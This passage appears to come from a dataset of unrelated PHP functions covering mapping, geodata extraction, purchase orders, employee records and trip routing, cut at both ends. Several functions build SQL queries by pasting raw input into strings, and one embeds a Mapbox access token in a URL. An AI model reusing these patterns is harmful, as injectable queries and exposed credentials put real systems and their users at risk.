null;\n\t\t}\n\n\t\t$page = json_decode($page, true);\n\t\tif (is_null($page)) {\n\t\t\treturn null;\n\t\t}\n\n\t\t$polygons = [[]];\n\t\t$n = 0;\n\n\t\tforeach ($page['elements'][0]['members'] as $member) {\n\t\t\tif ($member['type'] == 'way') {\n\t\t\t\t$way = $member['geometry'];\n\n\t\t\t\tif (isset($polygons[$n][0])) {\n\t\t\t\t\tif ($way[0] == $polygons[$n][0]) {\n\t\t\t\t\t\t$polygons[$n] = array_reverse($polygons[$n]);\n\t\t\t\t\t\tarray_shift($way);\n\t\t\t\t\t} else if ($way[0] == end($polygons[$n])) {\n\t\t\t\t\t\tarray_shift($way);\n\t\t\t\t\t} else if (end($way) == $polygons[$n][0]) {\n\t\t\t\t\t\t$polygons[$n] = array_reverse($polygons[$n]);\n\t\t\t\t\t\t$way = array_reverse($way);\n\t\t\t\t\t\tarray_shift($way);\n\t\t\t\t\t} else if (end($way) == end($polygons[$n])) {\n\t\t\t\t\t\t$way = array_reverse($way);\n\t\t\t\t\t\tarray_shift($way);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$n++;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tforeach ($way as $node) {\n\t\t\t\t\t$polygons[$n][] = $node;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Удаление последней точки\n\t\tforeach ($polygons as $i => $polygon) {\n\t\t\tif ($polygon[0] == end($polygon)) {\n\t\t\t\tarray_pop($polygons[$i]);\n\t\t\t\t$this->log(\"Замкнутый полигон!\");\n\t\t\t} else {\n\t\t\t\t$this->log(\"Незамкнутый полигон!\");\n\t\t\t}\n\t\t}\n\n\t\t$st = json_encode($polygons);\n\t\tfile_put_contents($fname, $st);\n\n\t\t$this->log(\"Загружена геометрия $region.\");\n\n\t\treturn $polygons;\n\t}", "function salva()\n {\n if (isset($this->layer)) {\n $this->recalculaSLD();\n }\n restauraConObj($this->mapa, $this->postgis_mapa);\n $this->mapa->save($this->arquivo);\n }", "function generarOrden($arreglo){\n $nomEstadoItemOK = $this->datos->traerIdEstadoItemOK();\n $idEstadoEnUso = $this->datos->traerIdEstadoUso();\n $idEstadoOfertado = $this->datos->traerIdEstadoOferProd();\n $idEstadoOfertaEco = $this->datos->traerIdEstadoOferOK();\n \n //ACTUALIZO ESTADO ITEM OFERTA OK\n $this->datos->actualizaEstadoItemOK($arreglo[\"idOfe\"],$nomEstadoItemOK->nomEstado);\n \n //ACTUALIZO ESTADO OFERTA\n $this->datos->actualizaEstadoOfertaCom($arreglo[\"idOfe\"],$idEstadoOfertaEco->idEstadoOfOk);\n $ofertaEconomica = $this->datos->datosOfertaEconomica($arreglo[\"idOfe\"]);\n \n $idDetProductoOfertado = $this->datos->traerIdDetProUso($arreglo[\"idOfe\"],$idEstadoOfertado->idEstadoOferProd);\n \n \n /* \n $idDetProductoEnUso = $this->datos->traerIdDetProUso($arreglo[\"idOfe\"],$idEstadoOfertado->idEstadoOferProd);\n \n \n //ACTUALIZO ESTADO PRODUCTO\n foreach ($idDetProductoEnUso as $key => $valueProdOrden) {\n \n $this->datos->actualizaCantidadDetProd($valueProdOrden[\"idDetalle\"],$idEstadoEnUso->idEnUso);\n }\n \n $idDetProducto = $this->datos->traerIdDetProUso($arreglo[\"idOfe\"],$idEstadoEnUso->idEnUso);*/\n \n //INSERTO ENCABEZADO \n $idOrdenCompra = $this->datos->insertarOrdenCompra($ofertaEconomica,$arreglo[\"idOfe\"]);\n \n //INSERTO DETALLE\n foreach ($idDetProductoOfertado as $key => $valueDetOfe) {\n \n $this->datos->insertarOrdenDes($valueDetOfe[\"idDetalle\"],$idOrdenCompra);\n \n }\n \n $this->mostrarOfertaEconomica($arreglo);\n \n }", "function addExtractionFromCart($oid, $uid, $strVectors, $strRasters, $vector, $raster, $projection, $insee, $communes, $hostname, $extent, $droits) {\n \n $tc = getTC($oid);\n \n // Ajout de la demande\n\t$conn = dbConnect();\n\t$tmp_extent = $extent[\"tmp_extent\"];\n\t$extent_extraction = $extent[\"extent\"];\n\t$extent_carte = $extent[\"extent\"];\n \n\t$emprise = \"etendue\"; // partielle Nb Communes\n\tif(!$insee || $insee == \"\" || $insee == $tc) {\n\t\t$emprise = \"totalite\"; // TC complet\n\t}\n\t\n\t$etat_demande = \"ATTENTE_VALIDATION\";\n\tif(empty($tmp_extent)/* && strtolower($zone) != \"totalite\"*/) {\n\t\t$etat_demande = \"ERREUR_ORGANISME\";\n\t}\n\n $strVectors = utf8_decode($strVectors);\n $strRasters = utf8_decode($strRasters);\n $droits = utf8_decode($droits);\n \n\t$attente_vecteur = \"true\";\n\t$attente_raster = \"true\";\n\t\n\tif(!$strVectors || $strVectors == \"\") {\n\t\t$attente_vecteur = \"false\";\n\t}\n\t\n\tif(!$strRasters || $strRasters == \"\") {\n\t\t$attente_raster = \"false\";\n\t}\n \n // Utilisé par l'extracteur pour récup des options sur les formats et projections\n $format_vecteur = ($vector && trim($vector != \"\")) ? $vector : \"shp\";\n $format_raster = ($raster && trim($raster != \"\")) ? $raster : \"ecw\";\n \n $ids_projections = array(\n 'Lambert 93' => 5, \n 'Conique conforme 50'=> 13,\n 'Lambert II étendu'=> 1, \n 'Lambert 1 nord'=> 12, \n 'Lambert 1 carto'=> 11, \n 'WGS84'=> 10, \n 'RGF93'=> 14, \n 'ETRS89'=> 15, \n );\n\n $ids_vecteurs = array(\n 'shp' => 1,\n 'mif' => 3, \n 'tab' => 2 \n );\n\n $ids_rasters = array(\n 'ecw' => 8, \n 'tiff' => 7, \n 'jpeg2000' => 9 \n );\n \n $id_projection = isset($ids_projections[$projection]) ? $ids_projections[$projection] : 5;\n $id_format_vecteur = isset($ids_vecteurs[$format_vecteur]) ? $ids_vecteurs[$format_vecteur] : 1;\n $id_format_raster = isset($ids_rasters[$format_raster]) ? $ids_rasters[$format_raster] : 8;\n //\n \n\t$sql = \"INSERT INTO extraction.projet_extraction \n (id_organisme, id_contact, date_demande, date_annulation, date_validation, date_fin_traitement, etat_demande, zone_geograpique, titre_carte, couche_vecteur, couche_raster, format_vecteur, format_raster, systeme_projection, fichier_zip, demande_dvd, num_courrier_suivi, extent_extraction, fichier_licence, fichier_map, commune, extent_carte, remote_addr, date_debut_traitement, process_id, message_erreur, attente_raster, dossier_temp, dossier_contact, fichier_supprimer, date_suppression, dvd_envoye, demande_dvd_validee, date_dvd_envoye, taille_fichier, process_id_zip, temp_extent, attente_vecteur, id_format_vecteur, id_format_raster, id_projection, organisme, contact, status_vecteur, status_raster, mode, the_geom_tc, taille_reelle, insee_extraction, droits) VALUES \n ($oid, $uid, 'now()', NULL, NULL, NULL, '$etat_demande', '$emprise', NULL, \".(($strVectors && trim($strVectors != \"\")) ? \"'$strVectors'\" : \"NULL\").\", \".(($strRasters && trim($strRasters != \"\")) ? \"'$strRasters'\" : \"NULL\").\", '$format_vecteur', '$format_raster', '$projection', NULL, NULL, NULL, '$extent_extraction', NULL, NULL, '$communes', '$extent_carte', '$hostname', NULL, NULL, NULL, $attente_raster, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, '$tmp_extent', $attente_vecteur, $id_format_vecteur, $id_format_raster, $id_projection, NULL, NULL, NULL, NULL, NULL, NULL, NULL, '$insee', '$droits');\";\n\n // pg_set_client_encoding($conn, \"UTF8\");\n\t$res = pg_query($conn, $sql);\n\t\n\tif(!$res) { return array(true, pg_last_error($conn)); }\n\t\n\t/* Récupération de l'identifiant de l'extraction */\n\t$sqlId = \"select * from extraction.projet_extraction where id_contact=$uid order by id_extraction DESC limit 1;\";\n\t$id = pg_query($conn, $sqlId);\n\t$extraction = pg_fetch_assoc($id);\n\tdbClose($conn);\n\n\treturn $extraction;\n}", "function agregar($nombre, $ApellidoPaterno, $ApellidoMaterno, $idDepartamento, $idPuesto, $idTurno, $idNivelEstudios, $profesion, $sueldoMensual, $contrato, $fechaAlta, $fechaBaja, $idStatusEmpleado, $idPerfil, $correoElectronico, $contrasena, $telCelular, $telCasa, $rfc, $imss, $idCivil, $tipoSangre, $pesionAlimen, $nombreEmergencia, $telEmergencia, $calleNumero, $colonia, $delegacionMunicipio, $estado, $codigoPostal, $pais)\n {\n\n \t$insertDomicilio= array(\n \t\"calleNumero\" \t\t => $calleNumero,\n \t\"colonia\" => $colonia,\n \t\"delegacionMunicipio\" => $delegacionMunicipio,\n \t\"estado\" => $estado,\n \t\"codigoPostal\" => $codigoPostal,\n \t\"pais\"\t => $pais\n\n\n \t\t);\n\n \t//recibe el id de lo que se inserto en la tabla domicilio mediante el domiciliomodelo\n $idDomicilios = $this->domiciliomodelo->agregarDomicilio($insertDomicilio);\n\n\n $insert = array(\n \"nombre\" => $nombre, \n \"ApellidoPaterno\" => $ApellidoPaterno, \n \"ApellidoMaterno\" => $ApellidoMaterno, \n \"idDepartamento\" => $idDepartamento, \n \"idPuesto\" \t\t => $idPuesto, \n \"idTurno\"\t\t => $idTurno, \n \"idNivelEstudios\" => $idNivelEstudios, \n \"profesion\" => $profesion, \n \"sueldoMensual\" => $sueldoMensual, \n \"contrato\" => $contrato, \n \"fechaAlta\" => $fechaAlta, \n \"fechaBaja\" => $fechaBaja, \n \"idStatusEmpleado\" => $idStatusEmpleado, \n \"idPerfil\" => $idPerfil, \n \"correoElectronico\" => $correoElectronico, \n \"contrasena\" => $contrasena, \n \"idDomicilios\" => $idDomicilios, \n \"telCelular\" => $telCelular,\n \"telCasa\" => $telCasa,\n \"rfc\" => $rfc,\n \"imss\" => $imss,\n \"idCivil\" => $idCivil,\n \"tipoSangre\" => $tipoSangre,\n \"pesionAlimen\" => $pesionAlimen,\n \"nombreEmergencia\" => $nombreEmergencia,\n \"telEmergencia\" => $telEmergencia\n\n\n );\n\n\t\t\n\n\n\n \t$this->db->insert('empleados', $insert);\n \treturn $this->db->trans_status();\n\n \n }", "static public function ctrCrearTransportadoraExterno(){\n\n\t\tif(isset($_POST[\"nuevaTransportadora\"])){\n\n\t\t\tif(preg_match('/^[a-zA-Z0-9ñÑáéíóúÁÉÍÓÚ\\. ]+$/', $_POST[\"nuevaTransportadora\"])){\n\n\t\t\t /*=============================================\n\t\t\t\tVALIDAR IMAGEN DEL LOGO\n\t\t\t\t=============================================*/\n\n\t\t\t\t$ruta = \"\";\n\n\t\t\t\tif(isset($_FILES[\"nuevoLogo\"][\"tmp_name\"])){\n\n\t\t\t\t\tlist($ancho, $alto) = getimagesize($_FILES[\"nuevoLogo\"][\"tmp_name\"]);\n\n\t\t\t\t\t$nuevoAncho = 500;\n\t\t\t\t\t$nuevoAlto = 500;\n\n\t\t\t\t\t/*=============================================\n\t\t\t\t\tCREAMOS EL DIRECTORIO DONDE VAMOS A GUARDAR EL LOGO DE LA TRANSPORTADORA\n\t\t\t\t\t=============================================*/\n\n\t\t\t\t\t$nuevaTransportadoraDir = str_replace(array('ñ','Ñ','á','é','í','ó','ú','Á','É','Í','Ó','Ú','.',' '),array('n','N','a','e','i','o','u','A','E','I','O','U','_','_'),trim($_POST[\"nuevaTransportadora\"]));\n\n\t\t\t\t\t$directorio = \"vistas/img/transportadoras/\".$nuevaTransportadoraDir;\n\n\t\t\t\t\tmkdir($directorio, 0755);\n\n\t\t\t\t\t/*=============================================\n\t\t\t\t\tDE ACUERDO AL TIPO DE IMAGEN APLICAMOS LAS FUNCIONES POR DEFECTO DE PHP\n\t\t\t\t\t=============================================*/\n\n\t\t\t\t\tif($_FILES[\"nuevoLogo\"][\"type\"] == \"image/jpeg\"){\n\n\t\t\t\t\t\t/*=============================================\n\t\t\t\t\t\tGUARDAMOS LA IMAGEN EN EL DIRECTORIO\n\t\t\t\t\t\t=============================================*/\n\n\t\t\t\t\t\t$aleatorio = mt_rand(100,999);\n\n\t\t\t\t\t\t$ruta = \"vistas/img/transportadoras/\".$nuevaTransportadoraDir.\"/\".$aleatorio.\".jpg\";\n\n\t\t\t\t\t\t$origen = imagecreatefromjpeg($_FILES[\"nuevoLogo\"][\"tmp_name\"]);\n\n\t\t\t\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\n\n\t\t\t\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho, $alto);\n\n\t\t\t\t\t\timagejpeg($destino, $ruta);\n\n\t\t\t\t\t}\n\n\t\t\t\t\tif($_FILES[\"nuevoLogo\"][\"type\"] == \"image/png\"){\n\n\t\t\t\t\t\t/*=============================================\n\t\t\t\t\t\tGUARDAMOS LA IMAGEN EN EL DIRECTORIO\n\t\t\t\t\t\t=============================================*/\n\n\t\t\t\t\t\t$aleatorio = mt_rand(100,999);\n\n\t\t\t\t\t\t$ruta = \"vistas/img/transportadoras/\".$nuevaTransportadoraDir.\"/\".$aleatorio.\".png\";\n\n\t\t\t\t\t\t$origen = imagecreatefrompng($_FILES[\"nuevoLogo\"][\"tmp_name\"]);\n\n\t\t\t\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\n\n\t\t\t\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho, $alto);\n\n\t\t\t\t\t\timagepng($destino, $ruta);\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\t/* =====================================\n\t\t\t\t\tVALIDAR TRANSPORTADORA\n\t\t\t\t========================================== */\n\n\t\t\t\t$tabla = \"transportadoras\";\n\n\t\t\t\t$datos = array(\"transportadora\" => $_POST[\"nuevaTransportadora\"],\n\t\t\t\t\t \"logo\"=>$ruta);\n\n\t\t\t\t$respuesta = ModeloTransportadoras::mdlIngresarTransportadora($tabla, $datos);\n\n\t\t\t\tif($respuesta == \"ok\"){\n\n\t\t\t\t\techo '<script>\n\n\t\t\t\t\tswal({\n\n\t\t\t\t\t\ttype: \"success\",\n\t\t\t\t\t\ttitle: \"¡La transportadora ha sido guardada correctamente!\",\n\t\t\t\t\t\tshowConfirmButton: true,\n\t\t\t\t\t\tconfirmButtonText: \"Cerrar\"\n\n\t\t\t\t\t}).then(function(result){\n\n\t\t\t\t\t\tif(result.value){\n\n\t\t\t\t\t\t\twindow.location = \"radicador\";\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t});\n\n\n\t\t\t\t\t</script>';\n\n\n\t\t\t\t}\n\n\n\t\t\t}else{\n\n\t\t\t\techo '<script>\n\n\t\t\t\t\tswal({\n\n\t\t\t\t\t\ttype: \"error\",\n\t\t\t\t\t\ttitle: \"¡La transportadora no puede ir vacía o llevar caracteres especiales!\",\n\t\t\t\t\t\tshowConfirmButton: true,\n\t\t\t\t\t\tconfirmButtonText: \"Cerrar\"\n\n\t\t\t\t\t}).then(function(result){\n\n\t\t\t\t\t\tif(result.value){\n\n\t\t\t\t\t\t\twindow.location = \"radicador\";\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t});\n\n\n\t\t\t\t</script>';\n\n\t\t\t}\n\n\n\t\t}\n\n\n\t}", "function add($nombre, $direccion = \"\", $representante = false, $vocal_de_vigilancia = false, $estatus = 10, $nivel = 1, $numero = false, $sucursal = false, $fecha = false, $clave_de_persona = false ){\n\t\t$xLoc\t\t= new cLocal();\n\t\t$xF\t\t\t= new cFecha();\n\t\t$numero\t\t= false;\n\t\t//codigo postal\n\t\t$colonia\t= $xLoc->DomicilioCodigoPostal();\n\t\t\n\t\t$numero\t\t\t\t= setNoMenorQueCero($numero) <= 0 ? $this->getLast() : $numero;\n\t\t$fecha\t\t\t\t= ($fecha == false) ? fechasys() : $xF->getFechaISO($fecha);\n\t\t$sucursal\t\t\t= ($sucursal == false) ? getSucursal() : $sucursal;\n\t\t$clave_de_persona\t= (setNoMenorQueCero($clave_de_persona) <= 0) ? DEFAULT_SOCIO : $clave_de_persona;\n\t\tif(setNoMenorQueCero($clave_de_persona) > DEFAULT_SOCIO){\n\t\t\t$numero\t\t\t= $clave_de_persona;\n\t\t}\n\t\tif ( setNoMenorQueCero($representante) <= DEFAULT_SOCIO ){\n\t\t\t$representante\t= DEFAULT_SOCIO;\n\t\t\t$NombreRep\t\t= \"POR_REGISTRAR\";\n\t\t} else {\n\t\t\t$xRep\t\t= new cSocio($representante);\n\t\t\tif( $xRep->init() == true){\n\t\t\t\t$NombreRep\t= $xRep->getNombreCompleto();\n\t\t\t\tif ( $direccion == \"\" ){\n\t\t\t\t\tif($xRep->getODomicilio() != null){\n\t\t\t\t\t\t$colonia = $xRep->getODomicilio()->getCodigoPostal();\n\t\t\t\t\t\t$direccion\t= $xRep->getDomicilio();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif ( setNoMenorQueCero($vocal_de_vigilancia) <= DEFAULT_SOCIO ){\n\t\t\t$vocal_de_vigilancia\t= DEFAULT_SOCIO;\n\t\t\t$NombreVoc\t\t\t\t= \"POR_REGISTRAR\";\n\t\t} else {\n\t\t\t$xVoc\t\t= new cSocio($vocal_de_vigilancia);\n\t\t\t$xVoc->init();\n\t\t\t$NombreVoc\t= $xVoc->getNombreCompleto();\n\t\t}\n\t\t$sql\t= \"INSERT INTO socios_grupossolidarios\n\t\t\t\t\t(idsocios_grupossolidarios, nombre_gruposolidario, colonia_gruposolidario, direccion_gruposolidario,\n\t\t\t\t\trepresentante_numerosocio, representante_nombrecompleto, grupo_solidario,\n\t\t\t\t\tvocalvigilancia_numerosocio, vocalvigilancia_nombrecompleto,\n\t\t\t\t\testatusactual,\n\t\t\t\t\tnivel_ministracion,\n\t\t\t\t\tsucursal,\n\t\t\t\t\tfecha_de_alta, clave_de_persona)\n\t\t\t\t\tVALUES\n\t\t\t\t\t($numero, '$nombre', '$colonia', '$direccion', $representante, '$NombreRep', $numero, $vocal_de_vigilancia, '$NombreVoc',\n\t\t\t\t\t$estatus, $nivel, '$sucursal', '$fecha', $clave_de_persona)\";\n\t\t\t\t\t$x\t= my_query($sql);\n\t\tif($x[SYS_ESTADO] == true){\n\t\t\t$this->mCodigo\t\t= $numero;\n\t\t\t$this->init(false);\n\t\t}\n\t\treturn $x[SYS_ESTADO];\n\t}", "function generateFullPathWithGoogle() {\n include_once('../common/common_functions.php');\n $jsonRouteFilePath = \"cricketTraveledPath.json\";\n $error_msg = \"\";\n $result = false;\n $travelObj = new Travel();\n $tdh_db = \"CLEARDB_URL_TDH_SCRIPTS\";\n \n //Get the points from the database sorted by tripname, then date\n try{\n if($db = connect_db($tdh_db)){\n $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n $db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);\n \n $query_sel = $db->query(\"SELECT * from gps_readings order by `tripname`, `time` ASC\");\n $previousLatLong = [];\n $previousTripName = \"\";\n $tripLeg_id = 0;\n if($query_sel->rowCount() > 0){\n foreach ($query_sel as $row){\n $currentLatLong = [ $row['lat'], $row['long'] ];\n $time = $row['time'];\n if(!empty($previousLatLong)){\n //get the mapquest info\n $mqString = getMQroute($previousLatLong, $currentLatLong);\n if($mqString){\n $mqResult = json_decode($mqString);\n if( $row['tripname'] !== $previousTripName){\n $newTrip = new Trip();\n $newTrip->name = ($row['tripname']);\n $travelObj->add_trip($newTrip);\n $previousTripName = $row['tripname'];\n }\n //Get the latest trip object from the travelObj\n $currentTrip = end($travelObj->trips);\n\n //If the points not the same make a new leg\n $distance = $mqResult->{\"route\"}->{\"distance\"};\n if($distance > 0){\n $tripLeg_id += 10;\n $newLeg = new TripLeg();\n $newLeg->id = $tripLeg_id;\n $newLeg->distance = $distance;\n $newLeg->startLatLong = $previousLatLong;\n $newLeg->endLatLong = $currentLatLong;\n $newLeg->startTime = $time;\n $newLeg->MQencodedPath = $mqResult->{\"route\"}->{\"shape\"}->{\"shapePoints\"};\n\n //add the leg to the current trip\n $currentTrip->add_leg($newLeg);\n }\n }else{ \n //Map Quest result not returned\n $error_msg = \"Map Quest result not returned\";\n $result = false;\n \n }\n }\n $previousLatLong = $currentLatLong;\n }\n //If none of the leg creations failed,\n //Turn the object into a json string and update the file.\n if($result){\n if($newTripsRoute = fopen($jsonRouteFilePath,\"w\")){\n fwrite($newTripsRoute, json_encode($travelObj));\n fclose($newTripsRoute);\n $result = true;\n }else{\n //error using fopen.\n $error_msg = \"Could not open file.\";\n $result = false;\n }\n }\n }\n }else{ //handle error\n $error_msg = \"Could not connect to database\";\n $result = false;\n }\n }catch(PDOException $ex) {\n $error_msg = \"CODE 120: Could not connect to mySQL DB<br />\"; //user friendly message\n $error_msg .= $ex->getMessage();\n $result = false; \n }\n echo $result ? \"Success! New file created.\" : $error_msg;\n return $result;\n}", "function getOGRole();", "function getOGRole();", "function make_position( $lat, $lon )\n\t{\n\t\t$latdms = geo_param::make_minsec( $lat );\n\t\t$londms = geo_param::make_minsec( $lon );\n\t\t$outlat = intval(abs($latdms['deg'])) . \"&deg;&nbsp;\";\n\t\t$outlon = intval(abs($londms['deg'])) . \"&deg;&nbsp;\";\n\t\tif ($latdms['min'] != 0 or $londms['min'] != 0\n\t\t or $latdms['sec'] != 0 or $londms['sec'] != 0) {\n\t\t\t$outlat .= intval($latdms['min']) . \"&prime;&nbsp;\";\n\t\t\t$outlon .= intval($londms['min']) . \"&prime;&nbsp;\";\n\t\t\tif ($latdms['sec'] != 0 or $londms['sec'] != 0) {\n\t\t\t\t$outlat .= $latdms['sec']. \"&Prime;&nbsp;\";\n\t\t\t\t$outlon .= $londms['sec']. \"&Prime;&nbsp;\";\n\t\t\t}\n\t\t}\n\t\treturn $outlat . $latdms['NS'] . \" \" . $outlon . $londms['EW'];\n\t}", "function anuncio_a_colocar_en_portada($anuncios_n5){\n //obtenemos el id y la url de la foto principal del anuncio con fecha de hoy\n //inincializamos las variables\n $id_anuncio = 0;\n $url_foto_anuncio = '';\n $localidad = '';\n $precio = 0;\n $anuncio_hoy = 0;\n\n $fecha_hoy = getdate();\n #var_dump($fecha_hoy[0]);\n //comprobamos qué anuncio tiene la fecha de hoy, que será el buscado para\n //colocar en portda\n $diferencia = 24*3600;\n for ($i=0; $i < count($anuncios_n5); $i++) {\n #var_dump($anuncios_n5[$i]['fecha_anuncio']);\n $dif = $anuncios_n5[$i]['fecha_anuncio'] - $fecha_hoy[0];\n if($dif < $diferencia) {\n $diferencia = $dif;\n $anuncio_hoy = $i;\n }\n }\n //pasamos al anuncio los datos id y url\n $anuncio = $anuncios_n5[$anuncio_hoy];\n //devolvemos el anuncio que se debe colocar en la portada y su foto\n #var_dump($anuncio);\n #die();\n echo json_encode($anuncio);\n $dbh = null;\n}", "protected function _createCidToGidMap() {}", "function fundMapPar($caminhos){\n\t$k = 1;\n\t$pathAux = '';\n\t$i = count($caminhos)-1;\n\t$pathAux.=$caminhos[$i].'#';\n\t$path[] = $caminhos[$i];\n\t$i--;\n\t$pathAux.=$caminhos[$i].'#';\n\t$path[] = $caminhos[$i];\n\t$i--;\n\twhile ($i >= 0) {\n\n\t\tif (fullUpper($caminhos[$i]) == fullUpper($path[$k])) {\n\t\t\t$pathAux.=$caminhos[$i-1].'#';\n\t\t\t$path[] = $caminhos[$i-1];\n\t\t\t$k++;\n\t\t};\n\t\t$i = $i - 2;\n\t} \n\treturn $pathAux;\n}", "function crearGrupo($entrada1, $entrada2, $entrada3) {\n $nombre = trim(filter_var($entrada1, FILTER_SANITIZE_STRING));\n $descripcionGrupo = trim(filter_var($entrada2, FILTER_SANITIZE_STRING));\n $ruta = trim(filter_var($entrada3, FILTER_SANITIZE_STRING));\n\n $con = crearConexion();\n\n $query = \"INSERT INTO grupo (nombre, f_creacion, imagen, descripcion) VALUES ('$nombre', NOW(), '$ruta', '$descripcionGrupo')\";\n\n $result = mysqli_query($con, $query);\n\n cerrarConexion($con);\n}", "public function nuevap5()\n {\n \t$sitios=request('pois');\n $mod=session('mod');\n $consult=DB::select('select poi.id_poi,poi.tiempoestancia,poi.nombre as pn,poi.coordenaday as cy,poi.coordenadax as cx\n from poi where poi.id_poi in('.$sitios.')');\n $poi=explode(\",\",$sitios);\n $cd=[];\n $pois=array();\n $ban=9999999;\n $vmin=[];\n for ($i=0; $i <count($poi); $i++) { \n foreach ($consult as $key) {\n if ($poi[$i]==$key->id_poi) {\n $cd[]=$key->cy.','.$key->cx;\n $this->pn[$key->id_poi]=$key->pn.\" \";\n }\n }\n }\n for($a=0;$a<count($cd);$a++){\n for ($b=0;$b<count($cd);$b++) { \n if ($a==$b) {\n $pois[$a][$b]=-1;\n }else{\n // se arma la tabla de distancias con todos los puntos de interes que pasaron los filtros anteriores\n $data = file_get_contents('https://api.mapbox.com/optimized-trips/v1/mapbox/'.$mod.'/'.$cd[$a].';'.$cd[$b].'?access_token=pk.eyJ1IjoidHVyaXN0cm91dGUiLCJhIjoiY2tuYjY3N2t4MDR5MjJ2cGhyYjFibGc1YSJ9.VhhVvZdDGKvZG75AhvHWsw', null, stream_context_create([\n 'http' => [\n 'header' => [\n 'Connection: close',],],]));\n $data=json_decode($data);\n \n $pois[$a][$b]=$data->trips[0]->distance; \n }\n }\n \n }\n for ($i=0; $i <count($pois) ; $i++) { \n for ($j=0; $j <count($pois) ; $j++) { \n if ($i!=$j) {\n if (bccomp($pois[$i][$j],$ban,10)==-1) {\n $min=($pois[$i][$j]);\n $ban=($pois[$i][$j]);\n }\n }\n }\n \n $vmin[]=$min;\n $ban=99999999;\n }\n for ($i=0; $i <count($pois) ; $i++) { \n for ($j=0; $j <count($pois) ; $j++) {\n if ($i!=$j) {\n $pois[$i][$j]=($pois[$i][$j])-$vmin[$i];\n }\n\n }}\n $vmin=[];\n for ($i=0; $i <count($pois) ; $i++) { \n for ($j=0; $j <count($pois) ; $j++) { \n if ($j!=$i) {\n if (bccomp($pois[$j][$i],$ban,10)==-1) {\n $min=($pois[$j][$i]);\n $ban=($pois[$j][$i]);\n }\n }\n }\n $vmin[]=$min;\n $ban=99999999;\n }\n for ($i=0; $i <count($pois) ; $i++) { \n for ($j=0; $j <count($pois) ; $j++) { \n if ($j!=$i) {\n $pois[$j][$i]=($pois[$j][$i])-$vmin[$i];\n }\n }\n } \n\n $a=0;\n // Luego de eliminar de la tabla de distancias los caminos mas largos,se envia la matriz al metodo formar_posi\n $this->lista_rutas[] = new route();\n $this->n_poi=count($poi);\n $this->poi=$poi;\n $this->matriz=$pois; \n $this->poi_conectados[] = new Conexion(); \n for($i = 0; $i < count($this->matriz); $i++) {\n $poi_c = new Conexion();\n for ($j = 0; $j < count($this->matriz); $j++) {\n if ($this->matriz[$i][$j]!=\"-1\") { \n $poi_c->setConexiones($j);\n $poi_c->setValor($this->matriz[$i][$j]);\n \n }\n }\n $this->poi_conectados[]=($poi_c);\n \n }\n \n $this->formar_posi($x=Array(),$y=Array(), 0, \"0\");\n //Finalmente envia al recorrido a la siguiente vista\n $result=$this->rutas_aptas();\n return view('guardarr')->with('rt',$result)->with('p',$this->pn);\n\n }", "function geo_param( $param )\n\t{\n\t\t$this->pieces = explode(\" \", str_replace ( ' O' , ' E' , str_replace( '_', ' ', $param )));\n\t\t$this->get_coor( );\n\t\t\n\t\t$this->latdeg_min = $this->latdeg_max = $this->latdeg;\n\t\t$this->londeg_min = $this->londeg_max = $this->londeg;\n\t\tif ( isset( $this->pieces[0] ) && $this->pieces[0] == \"to\") {\n\t\t\tarray_shift($this->pieces);\n\t\t\t$this->get_coor();\n\t\t\tif ($this->latdeg < $this->latdeg_max) {\n\t\t\t\t$this->latdeg_min = $this->latdeg;\n\t\t\t} else {\n\t\t\t\t$this->latdeg_max = $this->latdeg;\n\t\t\t}\n\t\t\tif ($this->londeg < $this->londeg_max) {\n\t\t\t\t$this->londeg_min = $this->londeg;\n\t\t\t} else {\n\t\t\t\t$this->londeg_max = $this->londeg;\n\t\t\t}\n\t\t\t$this->latdeg = ($this->latdeg_max+$this->latdeg_min) / 2;\n\t\t\t$this->londeg = ($this->londeg_max+$this->londeg_min) / 2;\n\t\t\t$this->coor = array();\n\t\t}\n\t}", "public function postGeoLoc(ServiciosOperadorRepository $gestion) {\n\n $inputData = Input::get('formData');\n parse_str($inputData, $formFields);\n \n //return $formFields;\n $gestion->UpdateGeoLoc($formFields);\n \n /*$usuarioServicioData = array(\n 'nombre_servicio' => $formFields['nombre_servicio'],\n 'detalle_servicio' => $formFields['detalle_servicio'],\n 'id_usuario_servicio' => $formFields['id'],\n 'id_provincia' => $formFields['id_provincia'],\n 'id_canton' => $formFields['id_canton'],\n 'id_parroquia' => $formFields['id_parroquia'] );*/\n return response()->json(array('success' => true));\n }", "function addPointToPath($newLatLong, $trip) {\n $jsonRouteFilePath = \"cricketTraveledPath.json\";\n $error_msg = \"\";\n $result = false;\n \n //read the old $lat and $long from the $jsonTravelFilePath\n $tripPaths = json_decode(file_get_contents($jsonRouteFilePath)); \n $lastLeg = end($tripPaths->{$trip});\n $lastLatLong = $lastLeg->{\"endLatLong\"};\n $lastid = $lastLeg->{\"id\"};\n \n //get a new encoded path from MapQuestAPI\n $mqString = getMQroute($lastLatLong, $newLatLong);\n if($mqString){\n $mqResult = json_decode($mqString);\n \n //create a new Leg php object\n /* looks like this in json format\n { \n \"id\": 40,\n \"startLatLong\": [ lat ,long]\n \"endLatLong\": [31.9494000, -104.6993000],\n \"distance\": 600.433,\n \"MQencodedPath\": 